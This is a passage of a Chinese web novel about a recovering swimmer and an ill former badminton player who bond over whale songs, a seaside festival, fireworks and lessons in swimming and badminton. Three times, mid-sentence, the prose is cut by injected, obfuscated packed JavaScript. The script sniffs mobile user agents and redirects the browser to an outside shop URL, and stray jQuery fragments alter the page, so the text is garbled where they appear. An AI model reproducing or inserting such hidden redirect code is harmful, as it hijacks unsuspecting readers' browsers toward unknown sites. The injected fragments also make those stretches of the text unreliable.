“真的。但你要是再偷跑,就取消。” “保证不跑了!” 下午两点,苏晚禾终于站进了泳池。 水温适宜,氯水的味道熟悉得让她鼻子发酸。 她按照王医生的要求,在浅水区慢慢地走,感受水流拂过皮肤。 不能划水,不能游泳,只能走。 但她还是觉得,能下水真好。 走完半小时,她趴在池边休息。 阳光透过玻璃顶棚照下来,在水面上晃出一片碎金。 她想起昨天谢临洲在雨中的样子,想起他说“球馆要是进水,以后就真不能用了”。 想起他们约好,台风天都不出门。 苏晚禾把头埋进臂弯里,笑了。 而此时,镇西的旧居民楼里,谢临洲在日记本上写: “7月31日,台风。 苏晚禾跑来找我。她说怕我来球馆。 一起加固了窗户,在球馆躲雨。她问我背包是不是哆啦A梦的口袋。 她还和我约好了,台风天都不出门。 她今天应该能下水了。 希望她能好好享受。 我也该休息了。确实累了。” 他放下笔,看向窗外晴朗的天空。 远处,疗养院的泳池在阳光下泛着粼粼波光。 7. 夏·初遇 周三晚上七点二十,苏晚禾准时出现在灯塔铁门外。 铁门没锁,她推门进去,爬上螺旋楼梯。 塔顶的台灯已经亮着,谢临洲正坐在桌前整理一堆录音设备,几个小巧的录音笔,一个头戴式耳机,还有一个连接着电脑的声谱仪。 “这是什么阵仗?”苏晚禾把背包放下。 “鲸鱼叫声。”谢临洲递给她一个耳机,“听吗?” 苏晚禾戴上耳机。 起初是沙沙的背景音,接着,一声悠长、低沉的鸣叫从耳机里传来,像是从深海传来的叹息,又像是某种古老的歌谣。 那声音持续了十几秒,音调起伏变化,然后渐渐消失。 她摘下耳机:“这是......鲸鱼?” “座头鲸。”谢临洲在电脑上点开一个波形图,“这段录音是在太平洋海域采集的,每头座头鲸都有自己独特的‘歌声’,会随着时间变化。” 苏晚禾凑过去看屏幕。 声波图形像起伏的山峦,标注着频率和时间。 “你能分辨不同鲸鱼的叫声?”她问。 “大部分可以。”谢临洲换了段录音,“这是蓝鲸,频率更低,更低沉。这是虎鲸,声音尖锐一些。” 苏晚禾又听了几段。 说实话,在她听来都差不多,都是低沉的、悠长的嗡鸣。 “我不信。”她直起身,“这些声音听起来都一个样,你怎么可能分得清是哪头鲸?” 谢临洲看她一眼:“打赌?” “赌什么?” “如果我分辨对了,你答应我一件事。如果我错了,我答应你一件事。”谢临洲说,“当然,事情要在合理范围内。” 苏晚禾想了想:“行。怎么赌?” 谢临洲从电脑里调出一个文件夹,里面有几十段音频文件,编号从1到25。“这些是我收集的鲸鱼叫声,每段15秒。有座头鲸、蓝鲸、长须鲸、灰鲸,还有几段是同一头鲸不同年份的录音。你随机选五段,我听完告诉你是什么鲸,什么时候录的,如果是同一头鲸我还要说出年份。” 苏晚禾瞪大眼睛:“这不可能。” “试试?” “试就试。” 苏晚禾转过身,闭上眼睛,在电脑屏幕上随便点了五个数字:3,7,12,18,22。 谢临洲调出对应的音频,戴上耳机。 第一段。 他听了十秒,摘下耳机:“座头鲸,太平洋种群,2018年录音。是头成年雄性,它的歌声里有个特殊的转音,像这样——”他哼了一个短促的音调,“这个特征在其他座头鲸里很少见。” 苏晚禾对照着音频的备注文件——完全正确。 第二段。 谢临洲听了更短的时间:“蓝鲸,印度洋海域,2019年。频率在14赫兹左右,是典型的亚种特征。” 又对。 第三段:“长须鲸,北大西洋,2020年。这段录音质量不太好,背景有船只噪音。” 对。 第四段,谢临洲听了两遍。 他微微皱眉:“这是......同一头座头鲸,但时间更早,2016年。它的歌声还没完全成形,但那个转音的雏形已经有了。” 苏晚禾看着备注文件,手有点抖,备注上写着“疑似与003号录音为同一头鲸,需进一步分析”。 而谢临洲只听了一遍就判断出来了。 最后一段。 谢临洲听完,沉默了几秒。 “这不是鲸鱼。”他说,“这是伪造的。用的是座头鲸的基础频率,但波形太规整了,自然界没有这么完美的声波。而且背景里有人为的电子噪音。” 苏晚禾看向备注——文件22的备注栏写着:“合成测试音频,用于声谱分析教学。” 她彻底服了。 “你怎么做到的?”她摘下耳机,“这些声音我听着都差不多。” “听多了就能分辨。”谢临洲关掉电脑,“就像你能分辨不同泳姿的水花声一样。” 苏晚禾一愣:“我能吗?” “你能。”谢临洲肯定地说,“自由泳的水花是连续有节奏的‘哗—哗—哗’。蛙泳是‘嘭、嘭、嘭’的爆破声。蝶泳最响,是‘啪!啪!啪!’。仰泳最轻,几乎只有水流声。” 苏晚禾仔细回想,好像确实是这样。 在游泳馆训练时,她闭着眼睛听水声,就能知道隔壁泳道的人在游什么。 “好吧。”她举起双手,“你赢了。说吧,要我答应什么事?” 谢临洲想了想:“教我怎么正确划水。” “不是已经在教了吗?” “实际教。”谢临洲说,“在水里。” 苏晚禾愣住:“可我不能游泳啊,医生只允许我在水里走动。” “不用你游。”谢临洲说,“你站在浅水区,我做动作,你纠正。就像在球馆你挥拍,我纠正一样。” 苏晚禾犹豫了。 王医生明确说过不许划水,但如果只是站在水里指导别人...... “下周行吗?”她问,“这周我刚恢复水下活动,王医生盯得紧。下周他应该会松一点。” “好。”谢临洲点头,“那就下周。” 赌约结束,谢临洲开始收拾设备。 苏晚禾帮忙整理电线,突然问:“你为什么这么喜欢鲸鱼?” 谢临洲的动作顿了顿:“它们很大,很安静,活在深海里。叫声能传几千公里,但几乎没人听过。” “就像你?”苏晚禾脱口而出,说完就想咬舌头。 但谢临洲没生气。 他笑了笑:“也许吧。” 收拾完毕,两人像往常一样坐在望远镜旁。 今晚天气很好,银河清晰可见。 谢临洲调好焦距,让苏晚禾看天鹅座。 “那颗最亮的叫天津四。”他指着目镜里的星星,“是天鹅座的主星,距离我们大约1400光年。” 苏晚禾看着那颗遥远的恒星,突然说:“你说鲸鱼的叫声能传几千公里,那星星的光走了1400年才到我们这里。”她直起身,“这么一想,我们听见的鲸鱼叫声可能是几年前发出的,看到的星光是一千多年前的。那我们此刻在这里,算不算同时在听过去、看过去?” 谢临洲侧头看她。 台灯的光晕里,他的眼睛显得很柔和。 “算。”他说,“所以我们也在成为别人的过去。” 这话说得有点深,苏晚禾一时不知道该怎么接。 她转回头继续看星星,过了一会儿才说:“下周除了教你划水,我再给你讲讲转身技巧吧。自由泳转身的蹬壁发力,其实和羽毛球网前步法有点像。” “好。” “还有呼吸节奏。游长距离的时候,呼吸要跟划水节奏配合,不能乱。你打球的时候,呼吸是不是也跟挥拍节奏配合?” “嗯。”谢临洲说,“发力时呼气,放松时吸气。” “看,运动都是相通的。”苏晚禾有点得意。 他们在灯塔待到九点半。 下楼时,谢临洲照例走在前面打手电。 走到塔底,苏晚禾突然说:“对了,我存了你家电话。” 谢临洲回头看她。 “上次台风之后,我问护工要的。”苏晚禾说,“以后要是有什么事,可以打电话。” 谢临洲沉默了几秒:“我不用手机。” “我知道。”苏晚禾说,“所以是固定电话。反正......存都存了。” 她说完有点不好意思,快步走到前面。 月光下,海面泛着银色的波光。 “苏晚禾。”谢临洲在后面叫住她。 她回头。 “谢谢。”他说。 “不客气。”苏晚禾摆摆手,“走了,下周见。” “下周见。” 回到疗养院,苏晚禾轻车熟路地从后门溜进去,自从台风天后,她就发现了这个漏洞。 上楼时正好碰见护士小陈。 “晚禾,又去散步了?”小陈笑着问。 “嗯,看看星星。”苏晚禾面不改色。 “早点休息啊,明天还要复健。” “知道啦。” 回到房间,苏晚禾打开电脑,开始搜索鲸鱼叫声的资料。 她找到一些科普网站,下载了几段录音,戴上耳机仔细听。 听了半小时,她还是分不清座头鲸和蓝鲸的区别。 “这比分辨水花声难多了。”她嘀咕着,继续听。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16930139|192799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第二天下午的水下活动时间,苏晚禾特意提前到泳池。 王医生今天不在,只有护士小陈在池边看着。 “小陈姐,”苏晚禾扒在池边,“下周我能带个朋友来吗?他也在复健,想学学怎么在水里活动。” 小陈犹豫了一下:“什么朋友?” “就镇上的,也受过伤,不能剧烈运动。”苏晚禾说得很诚恳,“他想学点基础的水中康复动作,我保证不游,就站在水里指导他。” 小陈想了想:“我得问问王医生。” “问吧问吧。”苏晚禾说,“王医生要是同意,我就带他来。要是不同意,那就算了。” 她说完开始今天的“水中行走”。 其实就是在齐胸深的水里来回走,感受水流阻力,活动关节。 很无聊,但至少能下水。 走了二十分钟,她停在池边休息。 泳池的玻璃顶棚上停着一只小鸟,正在梳理羽毛。 苏晚禾看着它,突然想起谢临洲说的鲸鱼歌声。 那么大的生物,发出那么低沉的声音,在深海里传得很远很远。 而她在这里,在小小的泳池里,连划水都不被允许。 “晚禾,该上来了。”小陈在池边喊,“半小时到了。” 苏晚禾爬出泳池,用毛巾擦干身体。 肩部的感觉比上周好多了,活动时基本不疼了。 “王医生说下周可以适当增加一些上肢活动。”小陈递给她水,“但还是要小心。” “增加什么活动?” “比如这样。”小陈做了个缓慢的划水动作,手臂几乎不发力,“就像在水里走路时,手臂轻轻拨水,辅助平衡。” 苏晚禾眼睛一亮:“那我能教别人吗?就这个动作。” 小陈笑了:“等你下周先自己练好了再说。” 苏晚禾点点头,心里已经开始计划下周怎么教谢临洲了。 先从基础的浮力感受开始,然后是平衡,再然后是那个轻轻拨水的动作...... 晚饭后,她回到房间,继续听鲸鱼叫声。 这次她开了两个窗口,一边放座头鲸的录音,一边放蓝鲸的,来回对比。 听了一个小时,她终于听出了一点区别:座头鲸的叫声更像唱歌,有清晰的旋律变化;蓝鲸的更低沉,更单调。 她拿起手机,找到谢临洲家的电话,犹豫了一下,还是拨了过去。 响了五声,那边接起来了:“喂?” “谢临洲,是我。”苏晚禾说,“我听出来了,座头鲸和蓝鲸的区别。” 电话那头沉默了一下,然后传来很轻的笑声:“是吗?” “真的!座头鲸像在唱歌,蓝鲸像在......叹气?” “差不多。”谢临洲说,“蓝鲸的频率更低,所以听起来更沉闷。座头鲸的频率范围更广,所以能‘唱歌’。” “那长须鲸呢?” “介于两者之间。” 苏晚禾靠在床头:“我决定了,要练出‘听声辨鲸’的技能。等练成了,再跟你赌一次。” “赌什么?” “还没想好。”苏晚禾说,“反正你要做好准备。” “好。”谢临洲的声音透过电话传来,比平时听起来柔和一些,“我等着。” 又聊了几句,苏晚禾挂了电话。 她看着窗外夜色中的大海,突然觉得,如果能一直这样下去,好像也不错。 有泳池可以下,有星星可以看,有鲸鱼叫声可以听,还有一个愿意打赌的朋友。 她关上灯,躺在床上。 远处传来隐约的潮声,一下,又一下。 而在镇西的旧居民楼里,谢临洲挂断电话后,在日记本上写: “8月3日,灯塔夜。 和苏晚禾打了赌,关于鲸鱼叫声。我赢了,她答应下周教我划水。 她听出了座头鲸和蓝鲸的区别。 她说要练出‘听声辨鲸’的技能,再赌一次。 我等着。 下周要下水了。很久没下水了。 希望不会太狼狈。” 他放下笔,看向窗外。 夜色深沉,海天相接处一片模糊。 但灯塔的方向,他知道,永远亮着一盏灯。 8. 夏·初遇 周六早上,苏晚禾在食堂听见几个护工兴奋地讨论着什么。 “今晚海祭!听说今年烟花特别大!” “还有夜市,从码头一直摆到灯塔那边......” “晚禾,”张阿姨看见她,笑着问,“你今晚去不去?一年就一次,可热闹了。” 苏晚禾咬了口包子:“海祭?” “云港的传统。”张阿姨解释道,“每年八月初,感谢大海的馈赠,祈求平安。晚上有夜市、表演,最后是烟花大会。” 听起来确实热闹。 苏晚禾在疗养院闷了三周,早就想感受点人气了。 “去啊。”她说,“几点开始?” “夜市六点就摆了,烟花九点放。”张阿姨提醒,“不过人特别多,你小心肩膀,别被撞到。” “知道啦。” 上午复健时,苏晚禾脑子里还在想晚上的事。 王医生检查完她的肩膀,点点头:“恢复进度不错。下周一可以开始轻度划水练习了,记住,轻度,幅度不能大,速度不能快。” “真的?”苏晚禾眼睛一亮。 “真的。”王医生推推眼镜,“但你得答应我,今晚去海祭不能往人多的地方挤,不能跑跳,更不能去玩那些什么捞金鱼、套圈的游戏。” “保证不玩。” 从诊疗室出来,苏晚禾直接去了谢临洲家。 她没打电话,直接走到那栋旧居民楼二楼,敲了敲门。 过了半分钟,门开了。 谢临洲穿着家居服,头发微乱,像是刚睡醒。 “打扰你睡觉了?”苏晚禾问。 “没有。”谢临洲侧身让她进来,“有事?” “今晚海祭,你去吗?” 谢临洲愣了一下:“海祭?” “对啊,夜市,表演,烟花。”苏晚禾说,“一年就一次,你不去看看?” 谢临洲沉默了几秒:“人很多吧。” “多才热闹啊。”苏晚禾看着他,“去吧去吧,我一个人去也没意思。” 谢临洲看着她期待的眼神,最终点了点头:“几点?” “六点夜市开始,我们六点半在码头那个大鱼雕塑那里见?” “好。” 约定好时间,苏晚禾就回疗养院了。 下午她特意洗了个澡,换了件干净的白T恤和牛仔裤,把头发扎成利落的马尾。 六点二十,她到了码头。 大鱼雕塑是云港的地标,一条巨大的石雕海豚跃出水面的造型,下面已经聚集了不少人。 夜市摊位沿着海岸线摆开,灯笼串成一条光河,食物的香气混着海风飘过来。 谢临洲准时出现。 他穿了件浅灰色的衬衫,黑色长裤,在人群中显得格外清瘦。 苏晚禾挥手叫他:“这边!” 两人汇合,苏晚禾立刻被旁边的章鱼烧摊位吸引了:“吃吗?我请客。” “好。” 买了两份章鱼烧,两人边吃边走。 夜市确实热闹,卖海鲜烧烤的,卖手工饰品的,卖贝壳风铃的,还有捞金鱼、射击气球的小游戏摊。 苏晚禾谨记王医生的叮嘱,只看不玩。 走到一个卖海洋生物玩偶的摊位时,苏晚禾停下脚步。 摊位上摆着各种毛绒玩具:海豚、鲨鱼、章鱼,还有鲸鱼,做得还挺逼真。 “这个像不像你录音里的那头?”苏晚禾拿起一只座头鲸玩偶。 谢临洲看了看:“颜色深了点,真座头鲸是深灰色带白斑。” “要求真高。”苏晚禾把玩偶放回去,“那这个呢?”她拿起一只小海豚。 “瓶鼻海豚,做得还行。” 摊主是个笑眯眯的老奶奶:“小姑娘,给你男朋友买个吧,玩偶能带来好运哦。” 苏晚禾脸一热:“他不是。” “我要这个。”谢临洲突然开口,拿起那只小海豚玩偶,“多少钱?” “二十。” 谢临洲付了钱,把玩偶递给苏晚禾:“送你。” 苏晚禾愣愣地接过:“为什么送我?” “感谢你带我来。”谢临洲说得很自然,“不然我可能就在家看书了。” 苏晚禾抱着软乎乎的海豚玩偶,嘴角忍不住上扬:“那就谢啦。” 继续往前走,人越来越多。 表演舞台那边传来音乐声,是当地的渔歌合唱。 苏晚禾想看,但人挤得水泄不通。 “算了,不看了。”她踮脚看了眼,“我们去海边走走?” “好。” 两人脱离主街,走到相对安静的海滨步道。 这里也能看见夜市的光亮,听见隐约的音乐,但没那么拥挤。 海风凉爽,吹散了夏夜的闷热。 “你以前在海祭玩过什么?”苏晚禾问。 “很少来。”谢临洲说,“生病后基本没来过。” “为什么?” “人多,累。”谢临洲简单地说,“而且......看着别人都那么健康,会有点烦。” 苏晚禾听懂了。 她抱着海豚玩偶,没说话。 走了十几分钟,谢临洲的脚步慢了下来。 苏晚禾注意到他脸色开始发白,额角有细汗。 “累了?”她问。 “有点。” “那坐会儿。”苏晚禾指了指前面的长椅。 两人坐下。 谢临洲闭上眼睛,深呼吸了几下。 苏晚禾看着他苍白的侧脸,突然意识到自己可能太自私了,只想着热闹好玩,忘了他身体不好。 “要不我们回去?”她说。 “不用。”谢临洲睁开眼睛,“烟花还没看。” “还有半小时呢。” “那就坐半小时。” 苏晚禾从包里掏出水瓶递给他。 谢临洲喝了几口,脸色稍微好了些。 “其实我挺喜欢烟花的。”他忽然说,“短暂,但是很亮。” “像鲸鱼叫声?”苏晚禾想起灯塔那晚的对话,“短暂,但是能传很远。” 谢临洲看向她,微微笑了笑:“嗯。” 天色完全暗下来,星星开始出现。 夜市那边的音乐换成了欢快的节奏,人群的喧闹声随风飘来。 八点五十,苏晚禾站起来:“该去占位置了,不然看不到烟花。” 谢临洲也站起来,脚步还是有些虚浮。 苏晚禾犹豫了一下,伸手扶住他的胳膊:“我扶你。” 谢临洲顿了顿,没拒绝。 他们回到主街,人群已经开始朝最佳观景点移动,灯塔方向的海岬。 人潮涌动,苏晚禾小心地护着谢临洲,尽量不被人群挤到。 走到一半,突然有人从侧面跑过来,是个追逐打闹的小孩,直直朝谢临洲撞来。 苏晚禾眼疾手快,一把将谢临洲拉到自己身侧,用身体挡住了冲撞。 小孩擦着她跑过去,谢临洲被她拉得踉跄一步,站稳时两人距离极近。 苏晚禾的手还抓着他的胳膊,能感觉到布料下的骨骼轮廓。 “没事吧?”她问。 “没事。”谢临洲低头看她,灰眼睛在夜色中显得很深,“你呢?” “我好着呢。”苏晚禾松开手,但没完全放开,还是虚扶着他,“继续走?” “好。” 终于走到海岬,这里已经聚集了很多人。 他们找了个相对靠后的位置,虽然视野不是最好,但人少些。 九点整,第一朵烟花在夜空中炸开。 金色的光点四散开来,像倒流的瀑布。 紧接着是第二朵,第三朵,红色、蓝色、绿色,各种形状:海豚、星星、水母。 爆炸声在海面上回荡,与潮声混在一起。 苏晚禾仰头看着。烟 花确实很美,短暂而绚丽。 她侧头看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16930140|192799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了眼谢临洲,他也在看天空,烟花的光在他脸上明明灭灭。 最后一朵是巨大的银色烟花,炸开后缓缓下落,像一整片银河倾泻。 人群爆发出欢呼和掌声。 烟花结束,人们开始散去。 苏晚禾和谢临洲等人流稍微稀疏些才往回走。 回去的路上,夜市已经开始收摊,灯笼一串串熄灭。 走到码头的大鱼雕塑时,苏晚禾突然说:“等我一下。” 她跑回那个玩偶摊位,老奶奶正在收摊。 苏晚禾花了十五块钱买下那只座头鲸玩偶,就是谢临洲说颜色太深的那只。 跑回来,她把玩偶塞给谢临洲:“回礼。” 谢临洲接过玩偶:“不是说颜色不对吗?” “那又怎样。”苏晚禾理直气壮,“它是鲸鱼,你喜欢鲸鱼,这就够了。” 谢临洲看着手里深灰色的座头鲸玩偶,沉默了几秒,然后轻声说:“谢谢。” “不客气。”苏晚禾从口袋里掏出一个小东西,“还有这个。” 那是一个萤火虫形状的小徽章,夜市上买的,五块钱两个。 她把其中一个别在谢临洲的衬衫领子上:“这个也送你。萤火虫的光也很短暂,但是是自己发的光,不靠别人放。” 徽章别好,萤火虫的尾部微微发光,是夜光材料。 谢临洲低头看了看徽章,又抬头看苏晚禾。 他的眼神很复杂,苏晚禾看不懂,但觉得里面有什么柔软的东西。 “走吧。”她转过身,“我送你回去。” 两人慢慢往镇西走。 街道安静下来,只剩路灯和偶尔经过的行人。 走到谢临洲家楼下,苏晚禾停下脚步。 “到了。” “嗯。” “下周一,泳池见?”苏晚禾说,“我跟王医生说了,他同意我带你做水中康复。” “好。”谢临洲说,“几点?” “下午三点,疗养院泳池。从侧门进,我跟门卫说好了。” “知道了。” 苏晚禾挥挥手:“那周一见。早点休息。” “你也是。” 苏晚禾转身往回走。 走了几步,回头看了一眼,谢临洲还站在楼下,手里拿着那只座头鲸玩偶。 见她回头,他抬起手挥了挥。 她也挥挥手,继续走。 回到疗养院已经十点多了。 苏晚禾轻手轻脚地从后门溜进去,上楼时碰见护士小陈。 “回来啦?”小陈笑着说,“烟花好看吗?” “好看。”苏晚禾从口袋里掏出另一个萤火虫徽章,“这个送你,小陈姐。” “哎呀,谢谢。”小陈接过徽章,“快去睡吧,明天周日,可以多睡会儿。” “晚安。” 回到房间,苏晚禾把海豚玩偶放在床头。 软乎乎的,抱着很舒服。 她躺下,看着天花板,回想今晚的一切:夜市的热闹,烟花的绚烂,还有谢临洲看烟花时的侧脸。 她闭上眼睛,很快睡着了。 而在镇西的旧居民楼里,谢临洲坐在书桌前,看着那只座头鲸玩偶。 玩偶的眼睛是两颗黑色的塑料珠,在台灯下反着光。 他拿起玩偶,发现底下压着张小纸条。 展开,是苏晚禾的字迹,写得有点匆忙: “给谢临洲: 烟花会结束,但星星一直在。 鲸鱼会离开,但大海一直在。 你也要一直在。 ——苏晚禾” 谢临洲看着这张纸条,看了很久。 然后他打开日记本,但今晚没写一个字。 他只是把那张纸条夹在日记本里,合上。 他拿起座头鲸玩偶,把它放在书桌最显眼的位置,挨着那本海洋图鉴。 窗外,夜色深沉,潮声阵阵。 周一很快就到了。 9. 夏·初遇 周一下午两点五十,苏晚禾穿着泳衣披着浴巾,站在疗养院侧门等谢临洲。 天气很好,阳光透过泳池的玻璃顶棚洒下来,水面上波光粼粼。 泳池里已经有三两个老人在做水中漫步,护士小陈在池边看着。 两点五十五,谢临洲准时出现。 他穿着简单的黑短裤,外面套了件白色T恤,手里拿着包、毛巾和泳镜,苏晚禾注意到那副泳镜很旧了,镜腿上的橡胶都老化了。 “挺准时啊。”苏晚禾迎上去。 “嗯。”谢临洲看向泳池,“现在进去?” “跟我来。” 苏晚禾带他从员工通道进去,避开了前台登记。 疗养院的泳池不大,二十五米长,四道,水深从一米二到一米八。 下午这个时间段人不多,最边上的一道是空着的。 “你用这道。”苏晚禾指了指第一泳道,“我跟你一起下水,但我不游,就在旁边指导。” 谢临洲点点头,脱掉T恤挂在椅背上。 苏晚禾看见他右臂上那道手术疤痕,从肩部一直延伸到上臂,淡粉色,缝合的痕迹清晰可见。 “你的伤......”她下意识问。 “去年手术取的活检。”谢临洲简单地说,戴上泳镜,“现在不疼。” 苏晚禾没再问。 她下了水,水温适中。 谢临洲跟着下来,动作有点僵硬。 “先感受浮力。”苏晚禾说,“放松,往后躺,我会托着你。” 谢临洲照做。 苏晚禾一手托着他的后颈,一手托着他的腰。 水把他们托起来,谢临洲的身体在水里显得很轻。 “呼吸放慢。”苏晚禾说,“想象你是一块木头。” 谢临洲闭上眼睛。 阳光透过水面在他脸上晃动,水波声在耳边温柔地响。 浮了三分钟,苏晚禾让他站起来:“感觉怎么样?” “很轻。”谢临洲抹了把脸上的水,“跟在地上完全不一样。” “那当然,水的密度是空气的八百倍。”苏晚禾说,“接下来我们练平衡。你试着在水里站着,单脚站立。” 谢临洲试了试,晃了一下。 苏晚禾扶住他:“核心收紧,用腹部力量稳住。” 练了十分钟平衡,苏晚禾开始教他划水动作。 “先站在这里,手伸直,做抱水动作。”她示范了一遍,“慢一点,感受水的阻力。” 谢临洲跟着做。 他的动作很标准,毕竟是运动员,对身体的控制力很强,但能看出肩膀发力时有些滞涩。 “你肩膀有伤,所以要用腰腹带动。”苏晚禾走到他身后,手轻轻按在他腰侧,“这里收紧,转体,然后手臂自然跟着转。” 谢临洲跟着她的指导重复动作。 水里很安静,只有他们的水声和远处老人的聊天声。 练了二十分钟,苏晚禾看了眼时间:“休息一下。” 两人靠在池边。 谢临洲的呼吸有些急促,脸色发白,但眼睛很亮。 “累吗?”苏晚禾问。 “有点。”谢临洲说,“但很有意思。” “你学得很快。”苏晚禾实话实说,“比我教过的初学者都快。” “可能是以前看别人游看多了。”谢临洲说,“在省队的时候,我们羽毛球馆旁边就是游泳馆,训练间隙经常看。” 苏晚禾侧头看他:“你想过转项吗?游泳。” “没有。”谢临洲摇头,“羽毛球是主动选择的,游泳......没有那种感觉。” “什么感觉?” “非要形容的话......”谢临洲想了想,“羽毛球像对话,你来我往。游泳更像独白。” 苏晚禾笑了:“这个比喻不错。” 休息了五分钟,苏晚禾说:“接下来我教你打腿。不过你得先抓着池边。” 谢临洲抓住池边的扶手。 苏晚禾潜下水,看着他的腿部动作。 “腿要伸直,用大腿带动,不是膝盖。”她从水里冒出来,“你试试。” 谢临洲试了试,水花溅了苏晚禾一脸。 “不对不对,太僵硬了。”苏晚禾抹了把脸,“放松,像鞭子一样甩出去。” 又练了十五分钟,谢临洲的体力明显跟不上了。 苏晚禾注意到他抓着扶手的手指关节发白,呼吸越来越急。 “今天就到这里吧。”她说,“第一次别练太猛。” 两人上岸。 谢临洲用毛巾擦干身体,手有些抖。 苏晚禾从包里拿出能量棒递给他:“吃一点,补充血糖。” 谢临洲接过,慢慢吃着。 苏晚禾也披上浴巾,坐在他旁边的躺椅上。 泳池的玻璃顶棚上停着一只鸟,歪着头看他们。 “周三还去灯塔吗?”苏晚禾问。 “去。”谢临洲说,“这周可以看英仙座流星雨,凌晨两点到四点是最佳时间。” “流星雨?”苏晚禾眼睛一亮,“我能看吗?” “如果你能熬夜的话。” “我能!”苏晚禾立刻说,“几点?” “凌晨一点半,灯塔见。”谢临洲说,“带上厚外套,晚上海边冷。” “好!” 谢临洲吃完能量棒,脸色恢复了些。 他站起来:“那我先走了。” “我送你出去。” 送到侧门,苏晚禾突然想起什么:“对了,作为今天教游泳的回礼,你得教我打羽毛球。” 谢临洲转头看她:“你的肩膀......” “我不打球,就学理论。”苏晚禾说,“你不是说羽毛球像对话吗?我想学学怎么‘对话’。” 谢临洲想了想:“明天下午?球馆。” “好!” 周二下午三点,苏晚禾准时出现在旧羽毛球馆。 谢临洲已经到了,正在做热身。 馆内还是老样子,破旧但干净。 “教练好!”苏晚禾故意立正敬礼。 谢临洲看了她一眼,眼里闪过一丝笑意:“先热身。” 热身完毕,谢临洲开始讲课:“羽毛球的基本技术分手法和步法。手法包括握拍、发球、击球;步法包括启动、移动、回动。今天先教握拍。” 他拿起球拍示范:“正手握拍像握手,虎口对着拍柄侧面。反手握拍要转动拍面,拇指顶在宽面上。” 苏晚禾跟着学。 握拍看似简单,但要找到舒服又发力的位置并不容易。 谢临洲纠正了她三次,她才基本掌握。 “接下来是发球。”谢临洲站到发球线后,“正手发高远球,用于单打;反手发网前球,用于双打。你先学正手。” 他示范了一遍:侧身,举拍,抛球,击球。动作流畅得像舞蹈。 苏晚禾试了试。 第一次没抛好,球掉地上了。 第二次抛高了,击球时拍面歪了,球斜着飞出去。 “别急。”谢临洲把球捡回来,“先练抛球。球要垂直抛起,高度大概到额头。” 练了二十分钟抛球,苏晚禾终于能稳定地抛到固定高度了。 “现在加击球。”谢临洲说,“抛球的同时转体引拍,击球点在身体前上方。” 苏晚禾试了第一次。 球倒是击中了,但飞得又低又近。 “发力太早了。”谢临洲走到她身后,“球下落的时候击打,这样才有高度和远度。” 他站在她侧后方,虚握着她的手调整姿势:“这样......然后转腰......”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16930141|192799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他的手指很凉,声音很近。 苏晚禾突然想起泳池里她指导他时的情形,现在位置反过来了。 “专心。”谢临洲说。 “哦。”苏晚禾收回思绪,专注练习。 又练了半小时,她终于能发出一个像样的高远球了,虽然落点不固定,但至少又高又远。 “成功了!”她跳起来。 谢临洲点点头:“不错。接下来是击球动作。高远球、吊球、杀球、网前球,每种动作都不一样。今天先学高远球。” 他走到场地另一端:“我发球,你试着回。不用管落点,只要把球打过来就行。” 苏晚禾握紧球拍,盯着对面。 谢临洲发了一个温柔的高远球,球在空中划出漂亮的弧线。 她跑到位,举拍,击球—— 球拍框击中球,发出闷响。 球歪歪扭扭地飞回去,但确实过网了。 “很好。”谢临洲说,“再来。” 他们打了二十几个回合。 谢临洲的球都发得很舒服,苏晚禾逐渐找到了感觉。 肩膀有些酸,但她没停。 “最后一个。”谢临洲说。 他这次发了个稍微快点的球。 苏晚禾后退两步,转身引拍,用力击出—— 球高高飞起,划过整个场地,落在谢临洲身后的底线附近。 完美的高远球。 苏晚禾愣住了。 谢临洲也回头看了看球的落点,转回头时眼里有赞许。 “不错。”他说,“很有天赋。” 苏晚禾放下球拍,喘着气笑:“那是,我可是运动员。” “但也得休息了。”谢临洲走过来,“你的肩膀明天该疼了。” “没事,我习惯了。”苏晚禾活动了一下右肩,“对了,明天凌晨一点半,别忘了。” “不会忘。”谢临洲开始收拾东西,“你记得穿厚点。” “知道啦。” 离开球馆时已是傍晚。 夕阳把云港染成橘红色,海面上金光粼粼。 “明天见。”苏晚禾在岔路口说。 “明天见。”谢临洲朝西边走。 苏晚禾回疗养院的路上,心情很好。 肩膀确实有点酸,但更多的是充实感。 教别人游泳,学别人打球,看星星,等流星雨。 生活好像没那么难熬了。 晚上她特意早点睡,为了凌晨一点的流星雨。 但躺在床上翻来覆去睡不着,脑子里全是今天下午打球的画面:谢临洲示范发球时的流畅动作,他站在身后纠正姿势时的触感,还有那个完美的高远球。 她伸手摸到床头的小海豚玩偶,抱在怀里。 软软的,暖暖的。 窗外的潮声规律地响着,像心跳。 她闭上眼睛,终于睡着了。 